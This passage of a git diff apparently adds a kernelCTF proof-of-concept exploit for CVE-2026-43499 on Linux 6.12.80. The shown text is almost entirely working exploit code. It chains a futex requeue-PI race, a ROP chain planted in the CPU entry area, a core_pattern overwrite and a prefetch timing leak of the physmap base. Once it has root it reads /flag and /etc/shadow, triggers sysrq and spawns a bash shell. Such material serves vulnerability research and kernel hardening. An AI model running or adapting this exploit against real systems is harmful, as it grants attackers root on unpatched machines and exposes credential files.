shmem_fd = -1; +unsigned char *shmem_map; +size_t page_size; + +void pin_self_cpu(int cpu) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + SYSCHK(sched_setaffinity(0, sizeof(set), &set)); +} + +int futex_lock_pi(uint32_t *uaddr) { + return syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); +} + +int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, + const struct timespec *timeout) { + return syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, timeout, uaddr2, 0); +} + +int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) { + return syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0); +} + +void futex_wait_atomic(int *uaddr, int val) { + syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, NULL, NULL, 0); +} + +void futex_wake_atomic(int *uaddr) { + syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, NULL, NULL, 0); +} + +void set_self_policy_batch(void) { + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = SCHED_BATCH; + attr.sched_nice = 19; + syscall(SYS_sched_setattr, 0, &attr, 0); +} + +void cea_seed_signal(int sig) { + if (cea_seed_active) { + siglongjmp(cea_seed_env, sig); + } + _exit(128 + sig); +} + +void install_cea_seed_handlers() { + struct sigaction sa; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = cea_seed_signal; + sa.sa_flags = SA_NODEFER; + CHECK_ZERO(sigemptyset(&sa.sa_mask)); + SYSCHK(sigaction(SIGFPE, &sa, NULL)); + SYSCHK(sigaction(SIGSEGV, &sa, NULL)); + SYSCHK(sigaction(SIGTRAP, &sa, NULL)); +} + +__attribute__((noreturn)) +void write_cpu_entry_area(const struct cea_regs15_payload *p) { + asm volatile( + "mov %[payload], %%rsp\n\t" + "pop %%r15\n\t" + "pop %%r14\n\t" + "pop %%r13\n\t" + "pop %%r12\n\t" + "pop %%rbp\n\t" + "pop %%rbx\n\t" + "pop %%r11\n\t" + "pop %%r10\n\t" + "pop %%r9\n\t" + "pop %%r8\n\t" + "pop %%rax\n\t" + "pop %%rcx\n\t" + "pop %%rdx\n\t" + "pop %%rsi\n\t" + "pop %%rdi\n\t" + "xor %%rax, %%rax\n\t" + "divq (0x1234000)\n\t" + : + : [payload] "r"(p) + : "memory"); + __builtin_unreachable(); +} + +void seed_entry_stack_w0() { + struct cea_regs15_payload p; + + memset(&p, 0, sizeof(p)); + p.r15 = 1ULL; + p.r14 = 0ULL; + p.r13 = 0ULL; + p.r12 = W0_PRIO; + p.rbp = 0ULL; + p.rbx = W0_BASE + 0x28ULL; + p.r11 = 0ULL; + p.r10 = W0_BASE; + p.r9 = W0_BASE; + p.r8 = MAGIC_OWNER; + p.rax = init_task; + p.rcx = L_BASE; + + for (int rep = 0; rep < ENTRY_SEED_REPS; rep++) { + cea_seed_active = 1; + if (sigsetjmp(cea_seed_env, 1) == 0) { + write_cpu_entry_area(&p); + } + cea_seed_active = 0; + } +} + + +// pc0 0xffffffff8251d96b: mov rdi, [r15+0x58]; mov rdx, r12; mov rax, [r15+0x60]; call rax; +// pc1 0xffffffff8127b18d: mov rbp, [r15+0x30]; mov rax, [rdi]; call rax; +// pc2 0xffffffff82878327: mov rsp, rbp; pop rbp; ret; +// +// 0xffffffff8288c2cf: pop rsi; ret; +// 0xffffffff824ae1ca: mov [rsi], edi; ret; +// 0xffffffff826246b9: mov [rsi], dl; ret; +// 0xffffffff81cd4400: pop rdi; pop rdi; ret; +// +// 0 pc0 +// 8 0 | UDP6_ERR_HANDLER +// 10 (<-rsp, rbp) 3 (INET6_PROTO_NOPOLICY | INET6_PROTO_FINAL) +// 18 (<-rsp) pop_rsi +// 20 rsi = DirtyMode = &coredump_sysctls[1].mode +// 28 pop rdi rdi +// 30 rbp rsp | junk +// 38 rdi = 0x70001b6 +// 40 write_4 [rsi]=edi +// 48 msleep +// 50 0 +// 58 rdi +// 60 pc1 +// 68 pc2 (<-rdi) +// 70 ? +__attribute__((naked, noreturn)) +void spin_cpu_entry_area_stage2( + const struct cea_regs15_payload *p __attribute__((unused))) +{ + asm volatile( + "mov %rdi, %rax\n\t" + "mov 0x00(%rax), %r15\n\t" + "mov 0x08(%rax), %r14\n\t" + "mov 0x10(%rax), %r13\n\t" + "mov 0x18(%rax), %r12\n\t" + "mov 0x20(%rax), %rbp\n\t" + "mov 0x28(%rax), %rbx\n\t" + "mov 0x30(%rax), %r11\n\t" + "mov 0x38(%rax), %r10\n\t" + "mov 0x40(%rax), %r9\n\t" + "mov 0x48(%rax), %r8\n\t" + "mov 0x58(%rax), %rcx\n\t" + "mov 0x60(%rax), %rdx\n\t" + "mov 0x68(%rax), %rsi\n\t" + "mov 0x70(%rax), %rdi\n\t" + "mov 0x50(%rax), %rax\n\t" + "1: pause\n\t" + "jmp 1b\n\t"); +} + +void spin_entry_stack_stage2() +{ + static struct cea_regs15_payload p; + uint64_t *cea_rop = (uint64_t *)&p; + int idx = 0; + + cea_rop[idx++] = pc_0; + cea_rop[idx++] = 0; + cea_rop[idx++] = 3; + cea_rop[idx++] = pop_rsi; + cea_rop[idx++] = core_pattern_mode; + cea_rop[idx++] = pop_rdi_rdi; + cea_rop[idx++] = cpu1_cea_pt_regs_base + 0x10; + cea_rop[idx++] = 0x70001b6; + cea_rop[idx++] = write_4; + cea_rop[idx++] = msleep; + idx++; + cea_rop[idx++] = cpu1_cea_pt_regs_base + 0x68; + cea_rop[idx++] = pc_1; + cea_rop[idx++] = pc_2; + cea_rop[idx++] = 0x2809099fdeadbeefULL; + spin_cpu_entry_area_stage2(&p); +} + + +int read_prctl_mm_map(struct prctl_mm_map *map) { + unsigned int sz = 0; + + SYSCHK(prctl(PR_SET_MM, PR_SET_MM_MAP_SIZE, &sz, 0, 0)); + if (sz != sizeof(*map)) { + errno = EINVAL; + return -1; + } + + memset(map, 0, sizeof(*map)); + map->start_code = (unsigned long)&read_prctl_mm_map; + map->end_code = map->start_code + 0x1000; + map->start_data = (unsigned long)&errno & ~0xfffUL; + map->end_data = map->start_data + 0x1000; + map->start_brk = (unsigned long)sbrk(0); + map->brk = map->start_brk; + map->start_stack = (unsigned long)&sz; + map->arg_start = map->start_stack; + map->arg_end = map->start_stack; + map->env_start = map->start_stack; + map->env_end = map->start_stack; + map->exe_fd = -1U; + return 0; +} + +uint64_t *shmem_auxv() { + return (uint64_t *)(shmem_map + page_size - 29 * sizeof(uint64_t)); +} + +void fill_shmem_auxv() { + uint64_t *auxv = shmem_auxv(); + + memset(shmem_map, 0, page_size); + auxv[16] = 1ULL; + auxv[17] = W0_BASE; + auxv[18] = 0ULL; + auxv[26] = init_task; + auxv[27] = INET6_UDP_ROOT; + auxv[28] = 0ULL; +} + +void *shmem_puncher(void *) { + pin_self_cpu(WAITER_CPU); + while (!atomic_load_explicit(&shmem_punch_go, memory_order_acquire)) { + __asm__ volatile("pause" ::: "memory"); + } + while (!atomic_load_explicit(&shmem_prctl_done, memory_order_acquire)) { + SYSCHK(fallocate(shmem_fd, 0, (off_t)page_size, SHMEM_LEN - page_size)); + SYSCHK(fallocate(shmem_fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, + (off_t)page_size, SHMEM_LEN - page_size)); + if (atomic_load_explicit(&shmem_prctl_ready, memory_order_acquire)) + sched_yield(); + } + return NULL; +} + +void setup_shmem_auxv() { + page_size = (size_t)SYSCHK(sysconf(_SC_PAGESIZE)); + SYSCHK(shmem_fd = memfd_create("x", 0)); + SYSCHK(fallocate(shmem_fd, 0, 0, SHMEM_LEN)); + shmem_map = (unsigned char *)SYSCHK(mmap(MMAP_ADDR, SHMEM_LEN, + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, + shmem_fd, 0)); + for (size_t off = page_size; off < SHMEM_LEN; off += page_size) { + shmem_map[off] = 0; + } + fill_shmem_auxv(); +} + +void stamp_inet6_udp_with_shmem_prctl_once() { + struct prctl_mm_map map; + + CHECK_ZERO(read_prctl_mm_map(&map)); + fill_shmem_auxv(); + atomic_store_explicit(&shmem_punch_go, 0, memory_order_release); + atomic_store_explicit(&shmem_prctl_ready, 0, memory_order_release); + atomic_store_explicit(&shmem_prctl_done, 0, memory_order_release); + + pthread_t punch_thread; + pthread_attr_t attr; + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); + CHECK_ZERO(pthread_create(&punch_thread, &attr, shmem_puncher, NULL)); + + map.auxv = (__u64 *)shmem_auxv(); + map.auxv_size = sizeof(uint64_t) * 48; + atomic_store_explicit(&shmem_punch_go, 1, memory_order_release); + usleep(SHMEM_PRCTL_DELAY_US); + int req = atomic_load_explicit(&consume_request, memory_order_acquire); + if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) != 0) + _exit(1); + atomic_store_explicit(&shmem_prctl_done, 1, memory_order_release); + atomic_store_explicit(&shmem_prctl_ready, 1, memory_order_release); + while (atomic_load_explicit(&consume_done, memory_order_acquire) < req) { + __asm__ volatile("pause" ::: "memory"); + } + CHECK_ZERO(pthread_join(punch_thread, NULL)); +} + +void *waiter_thread(void *) { + pin_self_cpu(WAITER_CPU); +#if CFH_ONLY && KCTF_PREBATCH_WAITER + set_self_policy_batch(); +#endif + atomic_store_explicit(&a_tid, (int)SYSCHK(syscall(SYS_gettid)), memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + + atomic_store_explicit(&a_ready, 1, memory_order_release); + usleep(200 * 1000); + + struct timespec timeout; + SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); + timeout.tv_sec += WAIT_TIMEOUT_SEC; + + atomic_store_explicit(&a_wait_started, 1, memory_order_release); + futex_wait_requeue_pi(&f_wait, &f_pi_target, &timeout); + if (!atomic_load_explicit(&deadlock_seen, memory_order_acquire)) { + return NULL; + } + + for (int seq = 1; seq <= STAMP_ITERS; seq++) { + atomic_store_explicit(&consume_request, seq, memory_order_release); + futex_wake_atomic(&consume_request); + stamp_inet6_udp_with_shmem_prctl_once(); + while (atomic_load_explicit(&consume_done, memory_order_acquire) < seq) { + __asm__ volatile("pause" ::: "memory"); + } + } + return NULL; +} + +void *owner_thread(void *) { + pin_self_cpu(OWNER_CPU); + SYSCHK(futex_lock_pi(&f_pi_target)); + while (!atomic_load_explicit(&a_ready, memory_order_acquire)) { + usleep(1000); + } + atomic_store_explicit(&b_started, 1, memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + return NULL; +} + +void *consumer_thread(void *) { +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + pin_self_cpu(WAITER_CPU); +#else + pin_self_cpu(CONSUMER_CPU); + install_cea_seed_handlers(); +#endif + + int tid; + do { + tid = atomic_load_explicit(&a_tid, memory_order_acquire); + if (!tid) { + usleep(1000); + } + } while (!tid); + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + while (!atomic_load_explicit(&stage1_seed_epoch, memory_order_acquire)) { + __asm__ volatile("pause" ::: "memory"); + } +#endif + + int done = 0; + + while (done < STAMP_ITERS) { + int req = atomic_load_explicit(&consume_request, memory_order_acquire); + if (req <= done) { +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + futex_wait_atomic(&consume_request, done); +#else + __asm__ volatile("pause" ::: "memory"); +#endif + continue; + } + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + while (!atomic_load_explicit(&shmem_prctl_ready, memory_order_acquire)) { + futex_wait_atomic(&shmem_prctl_ready, 0); + } +#else + while (!atomic_load_explicit(&shmem_prctl_ready, memory_order_acquire)) { + seed_entry_stack_w0(); + } + for (int i = 0; i < CFH_READY_SEED_REPS; i++) { + seed_entry_stack_w0(); + } +#endif + if (CFH_CONSUME_DELAY_US) { + usleep(CFH_CONSUME_DELAY_US); + } + +#if CFH_ONLY + int nice_value = 19; +#else + errno = 0; + int nice_value = getpriority(PRIO_PROCESS, tid); + if (nice_value == -1 && errno) { + nice_value = 19; + } else if (nice_value < 19) { + nice_value++; + } +#endif + +#if CFH_ONLY && KCTF_POLICY_TOGGLE_CONSUMER + int sched_policy = (req & 1) ? SCHED_BATCH : SCHED_OTHER; +#else + int sched_policy = SCHED_OTHER; +#endif + + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = sched_policy; + attr.sched_nice = nice_value; + + errno = 0; + int ret = syscall(SYS_sched_setattr, tid, &attr, 0); + printf("[H] sched_setattr tid=%d seq=%d policy=%d nice=%d ret=%d errno=%d (%s)\n", + tid, req, sched_policy, nice_value, ret, errno, strerror(errno)); + atomic_store_explicit(&consume_done, req, memory_order_release); + done = req; + } + return NULL; +} + +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER +void *stage1_w0_seed_thread(void *) { + pin_self_cpu(CONSUMER_CPU); + install_cea_seed_handlers(); + + while (!atomic_load_explicit(&stage1_seed_stop, memory_order_acquire)) { + seed_entry_stack_w0(); + atomic_fetch_add_explicit(&stage1_seed_epoch, 1, memory_order_release); + } + return NULL; +} +#endif + +int sync_pipe[2]; +int win_pipe[2]; +char dummy_buf[3]; +void check_win() { + int fd; + pin_self_cpu(!STAGE2_CPU); + read(sync_pipe[0], dummy_buf, 1); + while ((fd = open("/proc/sys/kernel/core_pattern", O_WRONLY)) < 0) { + usleep(30 * 1000); + } + const char *win = "|/proc/%P/fd/666 %P"; + write(fd, win, strlen(win)); + close(fd); + puts("[+] We wins, say goodbye to the world you know"); + write(win_pipe[1], "W", 1); + if (!fork()) { + setsid(); + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + *(size_t *)0 = 0; + } + sleep(10); +} + +static void reset_trigger_state(void) +{ + f_wait = 0; + f_pi_target = 0; + f_pi_chain = 0; + atomic_store_explicit(&a_ready, 0, memory_order_release); + atomic_store_explicit(&a_tid, 0, memory_order_release); + atomic_store_explicit(&a_wait_started, 0, memory_order_release); + atomic_store_explicit(&b_started, 0, memory_order_release); + atomic_store_explicit(&deadlock_seen, 0, memory_order_release); + atomic_store_explicit(&consume_request, 0, memory_order_release); + atomic_store_explicit(&consume_done, 0, memory_order_release); + atomic_store_explicit(&stage1_seed_stop, 0, memory_order_release); + atomic_store_explicit(&stage1_seed_epoch, 0, memory_order_release); +} + +void *vuln_waiter_thread(void *) +{ + pin_self_cpu(WAITER_CPU); + atomic_store_explicit(&a_tid, (int)SYSCHK(syscall(SYS_gettid)), + memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + + atomic_store_explicit(&a_ready, 1, memory_order_release); + usleep(200 * 1000); + + struct timespec timeout; + SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); + timeout.tv_sec += WAIT_TIMEOUT_SEC; + + atomic_store_explicit(&a_wait_started, 1, memory_order_release); + futex_wait_requeue_pi(&f_wait, &f_pi_target, &timeout); + if (!atomic_load_explicit(&deadlock_seen, memory_order_acquire)) + return NULL; + + atomic_store_explicit(&consume_request, 1, memory_order_release); + futex_wake_atomic(&consume_request); + while (!atomic_load_explicit(&consume_done, memory_order_acquire)) + __asm__ volatile("pause" ::: "memory"); + return NULL; +} + +void *vuln_owner_thread(void *) +{ + pin_self_cpu(OWNER_CPU); + SYSCHK(futex_lock_pi(&f_pi_target)); + while (!atomic_load_explicit(&a_ready, memory_order_acquire)) + usleep(1000); + atomic_store_explicit(&b_started, 1, memory_order_release); + SYSCHK(futex_lock_pi(&f_pi_chain)); + return NULL; +} + +void *vuln_consumer_thread(void *) +{ + int tid; + + do { + tid = atomic_load_explicit(&a_tid, memory_order_acquire); + if (!tid) + usleep(1000); + } while (!tid); + + while (!atomic_load_explicit(&consume_request, memory_order_acquire)) + futex_wait_atomic(&consume_request, 0); + + for (int i = 0; i < 64; i++) { + struct sched_attr_local attr; + + memset(&attr, 0, sizeof(attr)); + attr.size = sizeof(attr); + attr.sched_policy = i & 1 ? SCHED_BATCH : SCHED_OTHER; + attr.sched_nice = 19; + syscall(SYS_sched_setattr, tid, &attr, 0); + } + atomic_store_explicit(&consume_done, 1, memory_order_release); + return NULL; +} + +int run_vuln_trigger(void) +{ + pthread_t waiter; + pthread_t owner; + pthread_t consumer; + pthread_attr_t attr; + + reset_trigger_state(); + pin_self_cpu(WAITER_CPU); + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); + CHECK_ZERO(pthread_create(&waiter, &attr, vuln_waiter_thread, NULL)); + CHECK_ZERO(pthread_create(&owner, &attr, vuln_owner_thread, NULL)); + CHECK_ZERO(pthread_create(&consumer, &attr, vuln_consumer_thread, NULL)); + + while (!atomic_load_explicit(&a_wait_started, memory_order_acquire) || + !atomic_load_explicit(&b_started, memory_order_acquire)) { + usleep(1000); + } + + errno = 0; + int ret = futex_cmp_requeue_pi(&f_wait, &f_pi_target); + printf("[M] cmp_requeue_pi ret=%d errno=%d (%s)\n", ret, errno, + strerror(errno)); + if (ret == -1 && errno == EDEADLK) + atomic_store_explicit(&deadlock_seen, 1, memory_order_release); + else + atomic_store_explicit(&consume_done, 1, memory_order_release); + + CHECK_ZERO(pthread_join(waiter, NULL)); + CHECK_ZERO(pthread_join(consumer, NULL)); + return 0; +} + +static int exploit_once(int argc, char *argv[]) { + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + return run_vuln_trigger(); + } + + if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + dup2(stdoutfd, 1); + + system("cat /flag;cat /flag"); + system("whoami; id"); + system("head /etc/shadow"); + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } + + pipe(sync_pipe); + pipe(win_pipe); + pid_t check_pid = fork(); + if (check_pid == 0) { + check_win(); + _exit(0); + } + + leak_kernel_addresses(); + + mlockall(MCL_CURRENT); + pin_self_cpu(WAITER_CPU); + setup_shmem_auxv(); + + pthread_t waiter; + pthread_t owner; + pthread_t consumer; +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + pthread_t stage1_seeder; +#endif + pthread_attr_t attr; + CHECK_ZERO(pthread_attr_init(&attr)); + CHECK_ZERO(pthread_attr_setstacksize(&attr, THREAD_STACK_SIZE)); +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + CHECK_ZERO(pthread_create(&stage1_seeder, &attr, stage1_w0_seed_thread, NULL)); +#endif + CHECK_ZERO(pthread_create(&waiter, &attr, waiter_thread, NULL)); + CHECK_ZERO(pthread_create(&owner, &attr, owner_thread, NULL)); + CHECK_ZERO(pthread_create(&consumer, &attr, consumer_thread, NULL)); + + while (!atomic_load_explicit(&a_wait_started, memory_order_acquire) || + !atomic_load_explicit(&b_started, memory_order_acquire)) { + usleep(1000); + } + + errno = 0; + int ret = futex_cmp_requeue_pi(&f_wait, &f_pi_target); + printf("[M] cmp_requeue_pi ret=%d errno=%d (%s)\n", ret, errno, strerror(errno)); + if (ret == -1 && errno == EDEADLK) { + atomic_store_explicit(&deadlock_seen, 1, memory_order_release); + } + + CHECK_ZERO(pthread_join(waiter, NULL)); + CHECK_ZERO(pthread_join(consumer, NULL)); +#if CFH_ONLY && CFH_DEDICATED_W0_SEEDER + atomic_store_explicit(&stage1_seed_stop, 1, memory_order_release); + CHECK_ZERO(pthread_join(stage1_seeder, NULL)); +#endif + +#if !ENABLE_STAGE2 + puts("[M] stage2 disabled"); + return 0; +#else + // Overwrite done, lets ROP + pid_t stage2_pid = fork(); + if (stage2_pid == 0) { + pin_self_cpu(STAGE2_CPU); + write(sync_pipe[1], "XXX", 2); + spin_entry_stack_stage2(); + } + int fd = SYSCHK(socket(AF_INET6, SOCK_DGRAM, 0)); + struct sockaddr_in6 addr; + + memset(&addr, 0, sizeof(addr)); + addr.sin6_family = AF_INET6; + addr.sin6_port = htons(9); + addr.sin6_addr = in6addr_loopback; + read(sync_pipe[0], dummy_buf, 1); + usleep(10000); + SYSCHK(connect(fd, (struct sockaddr *)&addr, sizeof(addr))); + write(fd, "X", 1); // Trigger CFH + + fd_set rfds; + struct timeval tv; + + FD_ZERO(&rfds); + FD_SET(win_pipe[0], &rfds); + tv.tv_sec = 5; + tv.tv_usec = 0; + if (select(win_pipe[0] + 1, &rfds, NULL, NULL, &tv) > 0) { + sleep(10); + return 0; + } + + kill(stage2_pid, SIGKILL); + kill(check_pid, SIGKILL); + waitpid(stage2_pid, NULL, 0); + waitpid(check_pid, NULL, 0); + return 1; +#endif +} + +int main(int argc, char *argv[]) +{ + if (argc > 1) + return exploit_once(argc, argv); + + while (1) { + pid_t pid = fork(); + + if (pid == 0) { + setpgid(0, 0); + _exit(exploit_once(argc, argv)); + } + if (pid < 0) + err(1, "fork"); + setpgid(pid, pid); + + int status = 0; + waitpid(pid, &status, 0); + kill(-pid, SIGKILL); + while (waitpid(-pid, NULL, WNOHANG) > 0) { + } + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return 0; + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.cpp b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.cpp new file mode 100644 index 000000000..428d3af75 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.cpp @@ -0,0 +1,310 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "physmap_leak.h" + +static const uint64_t PHYSMAP_START = 0xffff888000000000ULL; +static const uint64_t PHYSMAP_END = 0xffffa48000000000ULL; +static const uint64_t PHYSMAP_SLOT_SIZE = 0x10000000ULL; +static const uint64_t PHYSMAP_GB_MASK = 0x3fffffffULL; + +static uint64_t physmap_median(std::vector v) +{ + assert(!v.empty() && "physmap_median received an empty vector"); + size_t n = v.size() / 2; + std::nth_element(v.begin(), v.begin() + n, v.end()); + return v[n]; +} + +static uint64_t physmap_abs_diff(uint64_t a, uint64_t b) +{ + return a > b ? a - b : b - a; +} + +static std::optional physmap_find_edge(const std::vector &timings, + uint64_t window_size) +{ + if (timings.size() < window_size) + return std::nullopt; + + uint64_t median = physmap_median(timings); + uint64_t current_sum_diff = 0; + + for (size_t k = 0; k < window_size; k++) + current_sum_diff += physmap_abs_diff(timings[k], median); + + uint64_t max_sum_diff = current_sum_diff; + std::optional best_slot = 0; + + for (size_t i = 1; i <= timings.size() - window_size; i++) { + current_sum_diff -= physmap_abs_diff(timings[i - 1], median); + current_sum_diff += physmap_abs_diff(timings[i + window_size - 1], + median); + + if (current_sum_diff > max_sum_diff) { + max_sum_diff = current_sum_diff; + best_slot = i; + } + } + + return best_slot; +} + +static uint64_t physmap_slot_to_addr(size_t slot) +{ + return PHYSMAP_START + slot * PHYSMAP_SLOT_SIZE; +} + +static inline __attribute__((always_inline)) uint64_t physmap_rdtsc_begin() +{ + uint64_t a, d; + + asm volatile("mfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static inline __attribute__((always_inline)) uint64_t physmap_rdtsc_end() +{ + uint64_t a, d; + + asm volatile("xor %%rax, %%rax\n\t" + "lfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static inline __attribute__((always_inline)) void physmap_prefetch(uint64_t addr) +{ + asm volatile("prefetchnta (%0)\n\t" + "prefetcht2 (%0)\n\t" + : + : "r"(addr)); +} + +static uint64_t physmap_sidechannel(uint64_t addr) +{ + uint64_t time = physmap_rdtsc_begin(); + physmap_prefetch(addr); + return physmap_rdtsc_end() - time; +} + +static std::optional physmap_try_leak_base(uint64_t window_size, + int samples) +{ + size_t slots = (PHYSMAP_END - PHYSMAP_START) / PHYSMAP_SLOT_SIZE; + std::vector timings(slots, std::numeric_limits::max()); + + for (int i = 0; i < samples; i++) { + for (size_t slot = 0; slot < slots; slot++) { + uint64_t addr = physmap_slot_to_addr(slot); + uint64_t timing = physmap_sidechannel(addr); + + if (timing < timings[slot]) + timings[slot] = timing; + } + } + + std::optional slot = physmap_find_edge(timings, window_size); + if (slot.has_value()) + return physmap_slot_to_addr(*slot); + + printf("[x] Failed to find physmap edge for this trial.\n"); + return std::nullopt; +} + +static bool physmap_is_base(uint64_t addr) +{ + return addr >= PHYSMAP_START && + addr < PHYSMAP_END && (addr & PHYSMAP_GB_MASK) == 0; +} + +static bool physmap_has_addr(const std::vector> &candidates, + uint64_t addr) +{ + for (const auto &candidate : candidates) { + if (candidate.has_value() && candidate.value() == addr) + return true; + } + return false; +} + +static void physmap_add_base_votes(std::vector &votes, uint64_t addr, + const std::vector> &candidates) +{ + if (physmap_is_base(addr)) + votes.push_back(addr); + + if ((addr & PHYSMAP_GB_MASK) == 0x30000000ULL && + addr >= PHYSMAP_START + 0x70000000ULL) { + uint64_t base = addr - 0x70000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } + + if ((addr & PHYSMAP_GB_MASK) == 0x10000000ULL && + physmap_has_addr(candidates, addr + 0x10000000ULL)) { + uint64_t base = addr + 0x30000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } + + if ((addr & PHYSMAP_GB_MASK) == 0x10000000ULL && + !physmap_has_addr(candidates, addr - 0x10000000ULL) && + !physmap_has_addr(candidates, addr + 0x10000000ULL)) { + uint64_t base = addr + 0x70000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } + + if ((addr & PHYSMAP_GB_MASK) == 0x20000000ULL && + physmap_has_addr(candidates, addr - 0x10000000ULL)) { + uint64_t base = addr + 0x20000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } + + if ((addr & PHYSMAP_GB_MASK) == 0x20000000ULL && + !physmap_has_addr(candidates, addr - 0x10000000ULL) && + !physmap_has_addr(candidates, addr + 0x10000000ULL)) { + uint64_t base = addr + 0x20000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } + + if ((addr & PHYSMAP_GB_MASK) == 0 && + addr >= PHYSMAP_START + 0x80000000ULL && + physmap_has_addr(candidates, addr - 0x10000000ULL)) { + uint64_t base = addr - 0x80000000ULL; + + if (physmap_is_base(base)) + votes.push_back(base); + } +} + +static std::optional +physmap_find_vote(const std::vector &votes, size_t min_count) +{ + uint64_t best = 0; + size_t best_count = 0; + size_t second_count = 0; + + for (uint64_t vote : votes) { + size_t count = 0; + + for (uint64_t other : votes) { + if (other == vote) + count++; + } + + if (count > best_count) { + second_count = best_count; + best = vote; + best_count = count; + } else if (vote != best && count > second_count) { + second_count = count; + } + } + + if (best >= PHYSMAP_START + 0x80000000ULL) { + uint64_t lower = best - 0x80000000ULL; + size_t lower_count = 0; + + for (uint64_t vote : votes) { + if (vote == lower) + lower_count++; + } + if (lower_count) + return lower; + } + + if (best_count >= min_count && best_count > second_count) { + return best; + } + return std::nullopt; +} + +static std::optional +physmap_find_normalized(const std::vector> &candidates, + size_t min_count) +{ + std::vector votes; + + for (const auto &candidate : candidates) { + if (candidate.has_value()) + physmap_add_base_votes(votes, candidate.value(), + candidates); + } + + return physmap_find_vote(votes, min_count); +} + +static void +physmap_add_round_history(std::vector &history, + const std::vector> &candidates) +{ + std::vector round_votes; + + for (const auto &candidate : candidates) { + if (candidate.has_value()) + physmap_add_base_votes(round_votes, candidate.value(), + candidates); + } + + std::sort(round_votes.begin(), round_votes.end()); + round_votes.erase(std::unique(round_votes.begin(), round_votes.end()), + round_votes.end()); + history.insert(history.end(), round_votes.begin(), round_votes.end()); +} + +uint64_t leak_phys_map_base(int map_cnt) +{ + std::vector history; + + for (int round = 0; round < 5; round++) { + std::vector> candidates; + + for (int i = 0; i < 11; i++) + candidates.push_back(physmap_try_leak_base(map_cnt, 100)); + + std::optional phys_map = + physmap_find_normalized(candidates, 3); + if (!phys_map.has_value()) { + physmap_add_round_history(history, candidates); + phys_map = physmap_find_vote(history, 3); + } + if (phys_map.has_value()) { + printf("[!] Leaked phys map base: 0x%lx\n", phys_map.value()); + return phys_map.value(); + } + + printf("[x] Retrying physmap leak.\n"); + } + + printf("[x] Failed to leak physmap base.\n"); + exit(1); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.h b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.h new file mode 100644 index 000000000..62bc67591 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/exploit/lts-6.12.80/physmap_leak.h @@ -0,0 +1,8 @@ +#ifndef PHYSMAP_LEAK_H +#define PHYSMAP_LEAK_H + +#include + +uint64_t leak_phys_map_base(int map_cnt); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/metadata.json new file mode 100644 index 000000000..f6251454d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": 